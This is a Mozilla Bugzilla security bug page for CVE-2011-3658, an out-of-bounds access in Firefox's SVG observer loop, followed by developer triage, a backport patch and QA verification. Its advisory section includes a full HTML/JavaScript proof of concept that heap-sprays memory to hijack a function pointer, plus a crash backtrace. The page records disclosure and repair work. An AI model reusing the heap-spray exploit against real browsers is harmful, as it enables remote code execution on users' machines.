Last Comment Bug 708186 - (CVE-2011-3658) [8.0.1] nsSVGValue Out-of-Bounds Access (ZDI-CAN-1414)
(CVE-2011-3658)
: [8.0.1] nsSVGValue Out-of-Bounds Access (ZDI-CAN-1414)
Status: VERIFIED FIXED
[sg:critical][qa!] fixed in Fx9 by bu...
: regression, verified-beta, verified1.9.2
Product: Core
Classification: Components
Component: SVG (show other bugs)
: 8 Branch
: All All
: -- critical (vote)
: mozilla9
Assigned To: Brian Birtles (:birtles)
:
Mentors:
Depends on: 602759
Blocks:
  Show dependency treegraph
 
Reported: 2011-12-06 22:31 PST by Daniel Veditz [:dveditz]
Modified: 2015-10-07 18:53 PDT (History)
11 users (show)
See Also:
Crash Signature:
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---
wontfix
verified
verified
verified
unaffected
.28+
.28-fixed


Attachments
Additional 1.9.2 PoC #1 (2.11 KB, application/vnd.mozilla.xul+xml)
2012-02-14 11:28 PST, Al Billings [:abillings]
no flags Details
Additional 1.9.2 PoC #2 (1.57 KB, application/vnd.mozilla.xul+xml)
2012-02-14 11:29 PST, Al Billings [:abillings]
no flags Details
Additional 1.9.2 PoC #3 (1.55 KB, application/vnd.mozilla.xul+xml)
2012-02-14 11:29 PST, Al Billings [:abillings]
no flags Details
Possible patch v1a (1.28 KB, patch)
2012-02-27 21:05 PST, Brian Birtles (:birtles)
dholbert: review+
jwatt: review+
dveditz: approval1.9.2.28+
Details | Diff | Splinter Review

Description Daniel Veditz [:dveditz] 2011-12-06 22:31:44 PST
Created attachment 579593 [details]
PoC from comment 0

ZDI-CAN-1414: Mozilla Firefox nsSVGValue Out-of-Bounds Access Remote
Code Execution Vulnerability


-- CVSS -----------------------------------------

7.5, AV:N/AC:L/Au:N/C:P/I:P/A:P


-- ABSTRACT -------------------------------------

TippingPoint has identified a vulnerability affecting the following
products:

  Mozilla Firefox


-- VULNERABILITY DETAILS ------------------------

Version(s) Tested: Mozilla Firefox 8.0.1
Platform(s) Tested: Windows XP SP3

---------------------
Vulnerability details
---------------------

The notification of nsSVGValue observers via
nsSVGValue::NotifyObservers(SVGObserverNotifyFunction f,
modificationType aModType) uses a loop which can result in an
out-of-bounds access to attacker controlled memory. Provided below the
code for this function from content/src/nsSVGValue.cpp:

nsSVGValue::NotifyObservers(SVGObserverNotifyFunction f,
                            modificationType aModType)
{
  PRInt32 count = mObservers.Length();

  // Since notification might cause the listeners to remove themselves
  // from the observer list (mod_die), walk backwards through the list
  // to catch everyone.
  for (PRInt32 i = count - 1; i >= 0; i--) {
    nsIWeakReference* wr = mObservers.ElementAt(i);
    nsCOMPtr<nsISVGValueObserver> observer = do_QueryReferent(wr);
    if (observer)
       (static_cast<nsISVGValueObserver*>(observer)->*f)(this, aModType);
  }
}

The variable "count" is set once from mObservers.Length() before the
loop begins. During each loop iteration, a pointer to is acquired via
a call to mObservers.ElementAt(i);. An attacker may register an
observer of nsSVGValue which removes elements from the array, thus
making the "count" reflect an invalid amount of elements. The
mObserver function ElementAt() does not validate that the index is not
out of bounds. The combination of these behaviors means that
subsequent iterations of the loop will access memory which is outside
the bounds of the array. Through manipulation of memory layout, the
memory accessed from these out-of-bounds indexes can be controlled by
the attacker, and thus result in remote arbitrary code execution.

The code below demonstrates registration of an observer which removes
elements and triggers the vulnerability:
---------------
Begin Code Snip
---------------

<html>
<head>
<script>
var container = [];
var tls = [];
var rect = null;
var big = null;
var small = null;

function listener() {
  rect.removeEventListener("DOMAttrModified", listener, false);

  for each (tl in tls)
    tl.clear();

  // gc & heap spray
  for (i = 0; i < (1<<7); ++i)
    container.push(unescape(big));
  for (i = 0; i < (1<<22); ++i)
    container.push(unescape(small));
}

function run() {
  var svg = document.getElementById("svg");
  rect = document.getElementById("rect");

  for (i = 0; i < (1<<13); ++i) {
    rect = rect.cloneNode(false);
    var atl = rect.transform;
    var tl = atl.baseVal;
    tls.push(tl);
  }

  const addr = unescape("%uc0c0");
  big = addr;
  while (big.length != 0x100000)
    big += big;

  small = addr;
  while (small.length != 15)
    small += addr;

  var trans = svg.createSVGTransform();
  for each (tl in tls)
    tl.appendItem(trans);

  rect.addEventListener("DOMAttrModified", listener, false);
  var matrix = svg.createSVGMatrix();
  trans.setMatrix(matrix);

  alert("PoC failed");
}
</script>
</head>
<body onload="run();">
  <svg id="svg">
    <rect
      id="rect"
      x="0"
      y="0"
      width="10"
      height="10"
      fill="red"
      stroke="black"/>
  </svg>
</body>
</html>

----------------
End of Code Snip
----------------

This code will register an observer which removes elements and
populates memory with the value c0c0c0c0. This memory is used to look
up a function pointer which is then called.

-- CREDIT ---------------------------------------

This vulnerability was discovered by:

   regenrecht
Comment 1 Daniel Veditz [:dveditz] 2011-12-06 22:43:28 PST
I can confirm the crash in Firefox 8.0.1
bp-1f540d57-f4d7-4366-b100-0e7fe2111206
Comment 2 Daniel Veditz [:dveditz] 2011-12-06 22:46:48 PST
but doesn't crash in a 9.0 beta from a couple weeks ago
http://hg.mozilla.org/releases/mozilla-beta/rev/d930274ef409
Comment 3 Daniel Veditz [:dveditz] 2011-12-06 23:06:29 PST
I'd like to blame the complete removal of nsSVGValue in bug 690486 for fixing this, but that didn't land until the Firefox 10 cycle. Event changes, maybe?
Comment 4 Daniel Veditz [:dveditz] 2011-12-07 00:47:41 PST
The fix range on mozilla central was between 2011-09-26 and 2011-09-27. Eyeballing the mozilla-inbound merge I'd guess bug 602759 which was a largish SVG change and dealt with transforms and matrices. But nsSVGValue::NotifyObservers was unchanged so maybe there's another way to cause the listeners to be removed at the right time?
Comment 5 Brian Birtles (:birtles) 2011-12-07 15:11:33 PST
I'd say bug 602759 is most likely responsible for fixing it. It thoroughly revises the lifetimes of SVG matrix and transform objects. Unfortunately it's a pretty large set of patches.
Comment 6 Brian Birtles (:birtles) 2011-12-07 18:21:53 PST
Confirming that this appears to be fixed for me in current 9.0 beta on Win 7. Since there is no plan for 8.0.2 I suppose the fix for this will be when we ship 9.0 in two weeks.

Why is there a question about "fixed in Fx9" on the whiteboard? Has someone been able to reproduce this in Fx9?
Comment 7 Daniel Holbert [:dholbert] 2011-12-07 18:42:33 PST
(In reply to Brian Birtles (:birtles) from comment #6)
> Why is there a question about "fixed in Fx9" on the whiteboard? Has someone
> been able to reproduce this in Fx9?

I think that was based on comment 2 vs. comment 3 (when the latest hypothesized fix was something that hadn't landed until the Firefox 10 timeframe).

Comment 4 - 6 cleared up what the actual fix was.  I think you're clear to remove that whiteboard text, based on comment 6.
Comment 8 Brian Birtles (:birtles) 2011-12-07 18:48:50 PST
(In reply to Daniel Holbert [:dholbert] from comment #7)
> (In reply to Brian Birtles (:birtles) from comment #6)
> > Why is there a question about "fixed in Fx9" on the whiteboard? Has someone
> > been able to reproduce this in Fx9?
> 
> I think that was based on comment 2 vs. comment 3 (when the latest
> hypothesized fix was something that hadn't landed until the Firefox 10
> timeframe).
> 
> Comment 4 - 6 cleared up what the actual fix was.  I think you're clear to
> remove that whiteboard text, based on comment 6.

Cheers. So can I mark this resolved fixed, target milestone: mozilla9?
Comment 9 Daniel Holbert [:dholbert] 2011-12-07 19:07:34 PST
(In reply to Brian Birtles (:birtles) from comment #8)
> Cheers. So can I mark this resolved fixed, target milestone: mozilla9?

I'm currently generating local targeted builds from before & after bug 602759's patches, just to be absolutely sure that that's what fixed this.  Once I've confirmed that (or if you're already confident enough) then I think that's the right next step, yeah.

Reassigning to birtles, since he (along with dveditz) have done the investigative work here, and it appears he wrote the patch that fixed this. :)  (also, I only just now noticed that this had been assigned to me -- sorry for not picking up on that quicker. :))
Comment 10 Daniel Holbert [:dholbert] 2011-12-07 20:10:29 PST
(In reply to Daniel Holbert [:dholbert] from comment #9)
> (In reply to Brian Birtles (:birtles) from comment #8)
> > Cheers. So can I mark this resolved fixed, target milestone: mozilla9?
> 
> I'm currently generating local targeted builds from before & after bug
> 602759's patches, just to be absolutely sure that that's what fixed this. 
> Once I've confirmed that (or if you're already confident enough) then I
> think that's the right next step, yeah.

Confirmed -- build from parent of bug 602759's patches ( 22ae18b4d013 ) crashes -- build from the final patch ( dbde35bf04e9 ) pops up a dialog saying "PoC failed".

So, resolving as FIXED by bug 602759, and setting target milestone to mozilla9 to match that bug.
Comment 11 Cameron Dawson [:camd] 2011-12-14 17:37:35 PST
Fix works on OS X 10.7 (Lion)
Will try Windows an Linux next.
Comment 12 Cameron Dawson [:camd] 2011-12-15 10:16:33 PST
Verified on Windows 7.  However, I wasn't able to get the debug FF9 Beta to run on my Virtual Machine.  So I verified this on a non-debug version of the beta 9.
Comment 13 Cameron Dawson [:camd] 2011-12-15 10:46:02 PST
Verified in Ubuntu 11 as well.  All looks good.
Comment 14 Al Billings [:abillings] 2012-02-07 09:26:45 PST
Created attachment 595063 [details]
POC for 3.6.x (tested under Linux)

Reporter has contacted us stating that 3.6.x is affected by this. He sent an updated POC and the following backtrace.

###!!! ASSERTION: invalid array index: 'i < Length()', file ../../../../dist/include/nsTArray.h, line 317
###!!! ASSERTION: invalid array index: 'i < Length()', file ../../../../dist/include/nsTArray.h, line 317

Program received signal SIGSEGV, Segmentation fault.
0xb72eb430 in nsQueryReferent::operator() (this=0xbfffd2cc, aIID=..., answer=0xbfffd280) at nsWeakReference.cpp:88
88	        if ( NS_FAILED(status = mWeakPtr->QueryReferent(aIID, answer)) )
(gdb) x/i $pc
=> 0xb72eb430 <nsQueryReferent::operator()(nsID const&, void**) const+36>:	mov    (%eax),%ecx
(gdb) i r eax ecx
eax            0xc	12
ecx            0xbfffd280	-1073753472
(gdb) bt
#0  0xb72eb430 in nsQueryReferent::operator() (this=0xbfffd2cc, aIID=..., answer=0xbfffd280) at nsWeakReference.cpp:88
#1  0xb6cb2525 in nsCOMPtr<nsISVGValueObserver>::assign_from_helper (this=0xbfffd2c8, helper=..., aIID=...) at ../../../../dist/include/nsCOMPtr.h:1249
#2  0xb6cb22fd in nsCOMPtr<nsISVGValueObserver>::nsCOMPtr (this=0xbfffd2c8, helper=...) at ../../../../dist/include/nsCOMPtr.h:621
#3  0xb6cb1e43 in nsSVGValue::NotifyObservers (this=0xab2b0544, f=&virtual table offset 20, aModType=nsISVGValue::mod_other)
    at content/svg/content/src/nsSVGValue.cpp:68
#4  0xb6cb1fb4 in nsSVGValue::DidModify (this=0xab2b0544, aModType=nsISVGValue::mod_other) at content/svg/content/src/nsSVGValue.cpp:87
#5  0xb6cab559 in nsSVGTransform::SetMatrix (this=0xab2b0540, matrix=0xab2b0a00) at content/svg/content/src/nsSVGTransform.cpp:256
#6  0xb736c76f in NS_InvokeByIndex_P () at xpcom/reflect/xptcall/src/md/unix/xptcinvoke_gcc_x86_unix.cpp:69
#7  0xb6171901 in XPCWrappedNative::CallMethod (ccx=..., mode=XPCWrappedNative::CALL_METHOD)
    at js/src/xpconnect/src/xpcwrappednative.cpp:2722
#8  0xb617e560 in XPC_WN_CallMethod (cx=0xaf9a4c00, obj=0xa47a4d60, argc=1, argv=0xaaf6e0c8, vp=0xbfffd864)
    at js/src/xpconnect/src/xpcwrappednativejsops.cpp:1740
#9  0xb5c9b765 in js_Invoke (cx=0xaf9a4c00, argc=1, vp=0xaaf6e0c0, flags=2) at js/src/jsinterp.cpp:1360
#10 0xb5c89acd in js_Interpret (cx=0xaf9a4c00) at js/src/jsops.cpp:2240
#11 0xb5c9b7ae in js_Invoke (cx=0xaf9a4c00, argc=1, vp=0xaaf6e024, flags=0) at js/src/jsinterp.cpp:1368
#12 0xb5c9ba20 in js_InternalInvoke (cx=0xaf9a4c00, obj=0xa475b480, fval=-1535364928, flags=0, argc=1, argv=0xaaf6e020, rval=0xbfffdf54)
    at js/src/jsinterp.cpp:1423
#13 0xb5c24868 in JS_CallFunctionValue (cx=0xaf9a4c00, obj=0xa475b480, fval=-1535364928, argc=1, argv=0xaaf6e020, rval=0xbfffdf54)
    at js/src/jsapi.cpp:5099
#14 0xb695a2e3 in nsJSContext::CallEventHandler (this=0xaf9f3840, aTarget=0xb45a5430, aScope=0xa475b480, aHandler=0xa47c30c0, aargv=0xa473b3e0, arv=0xbfffe158)
    at dom/base/nsJSEnvironment.cpp:2205
#15 0xb69d8a0a in nsJSEventListener::HandleEvent (this=0xa4796280, aEvent=0xa473a4c0) at dom/src/events/nsJSEventListener.cpp:269
...
Comment 15 Al Billings [:abillings] 2012-02-14 11:28:53 PST
Created attachment 597117 [details]
Additional 1.9.2 PoC #1

Further 1.9.2 PoC's from the reporter.
Comment 16 Al Billings [:abillings] 2012-02-14 11:29:14 PST
Created attachment 597118 [details]
Additional 1.9.2 PoC #2
Comment 17 Al Billings [:abillings] 2012-02-14 11:29:32 PST
Created attachment 597120 [details]
Additional 1.9.2 PoC #3
Comment 18 Daniel Holbert [:dholbert] 2012-02-14 11:41:26 PST
Comment 14 may be related to this bug, but the other three (comment 15 - 17) are unrelated and need a separate bug. Their source doesn't mention SVG at all (including the crash-backtrace included inline in each one, so it's highly unlikely that they have anything to do with this bug here.
Comment 19 Al Billings [:abillings] 2012-02-14 11:52:12 PST
All right. I'll open another bug for these three. Of course, with 1.9.2 exiting support soon, this may not get fixed.
Comment 20 Daniel Veditz [:dveditz] 2012-02-16 16:34:12 PST
the patches in bug 602759 are uncomfortably large for taking on the 1.9.2 branch. Is there any smaller subset of the larger change that solves this security bug?
Comment 21 Brian Birtles (:birtles) 2012-02-16 17:40:50 PST
(In reply to Daniel Veditz [:dveditz] from comment #20)
> the patches in bug 602759 are uncomfortably large for taking on the 1.9.2
> branch. Is there any smaller subset of the larger change that solves this
> security bug?

At a glance, I don't think so. I think it's either (a) land the lot, or (b) write another patch just to fix this problem. (b) is do-able but could possibly be a few days' work. I'm can do (b) if you think it's worthwhile.
Comment 22 Al Billings [:abillings] 2012-02-24 14:22:26 PST
(In reply to Al Billings [:abillings] from comment #19)
> All right. I'll open another bug for these three. Of course, with 1.9.2
> exiting support soon, this may not get fixed.

This is bug 730441.
Comment 23 Daniel Veditz [:dveditz] 2012-02-24 14:44:07 PST
The PoC for 3.6.x looks like the original bug
bp-a5b0bee3-405d-48c0-beb3-077502120224

Are we sure there's nothing less than a 350K 15-part patch that can fix this? How cleanly does bug 602759 apply to the old branch?
Comment 24 Brian Birtles (:birtles) 2012-02-27 21:05:28 PST
Created attachment 601171 [details] [diff] [review]
Possible patch v1a

Based on the description in comment 0 I've written a simple patch to copy the array before iterating over it. It seems to fix the second attachment, "POC for 3.6.x"---crashes without patch applied, displays "PoC failed" with patch.
Comment 25 Daniel Holbert [:dholbert] 2012-02-27 22:41:20 PST
Comment on attachment 601171 [details] [diff] [review]
Possible patch v1a

Looks good to me! Might have a small perf impact (probably good to watch m.d.tree-management after this lands), but it's probably worth it for the security win.

(It's probably possible to do this in such a way as to not require the copy, but that'd probably be a scarier patch to land on a branch, so I think this is fine.)

I'd like for someone else to sign off on this, too -- maybe jwatt?
Comment 26 Brian Birtles (:birtles) 2012-02-28 20:32:35 PST
Comment on attachment 601171 [details] [diff] [review]
Possible patch v1a

Requesting approval to land on 1.9.2 branch.

I think this is probably the minimal patch that will fix this bug. The primary risk is simply that it is difficult to test without try server. We'll have to watch tbpl and back out as necessary. Also, there may be a perf hit so we'll have to watch tree management too as Daniel noted in comment 25.
Comment 27 Daniel Veditz [:dveditz] 2012-03-01 16:46:23 PST
Comment on attachment 601171 [details] [diff] [review]
Possible patch v1a

Approved for 1.9.2.28, a=dveditz for release-drivers
Comment 28 Brian Birtles (:birtles) 2012-03-01 17:57:45 PST
Pushed:
https://hg.mozilla.org/releases/mozilla-1.9.2/rev/2b31786f3b3e
Comment 29 Anthony Hughes (:ashughes) [GFX][QA][Mentor] 2012-03-06 13:57:46 PST
With Firefox 3.6.28, the "PoC for 3.6" attachment displays an alert box stating "PoC failed". Is this the expected result?
Comment 30 Brian Birtles (:birtles) 2012-03-06 15:31:34 PST
(In reply to Anthony Hughes, Mozilla QA (irc: ashughes) from comment #29)
> With Firefox 3.6.28, the "PoC for 3.6" attachment displays an alert box
> stating "PoC failed". Is this the expected result?

Yes, that is the expected result.
Comment 31 Anthony Hughes (:ashughes) [GFX][QA][Mentor] 2012-03-06 17:12:01 PST
Thanks Brian.
Comment 32 Jason Smith [:jsmith] 2012-03-07 17:56:56 PST
Verified in FF 11 Beta 6.
Comment 33 Jason Smith [:jsmith] 2012-03-07 17:58:17 PST
Verified in FF 10.0.2.

Note You need to log in before you can comment on or make changes to this bug.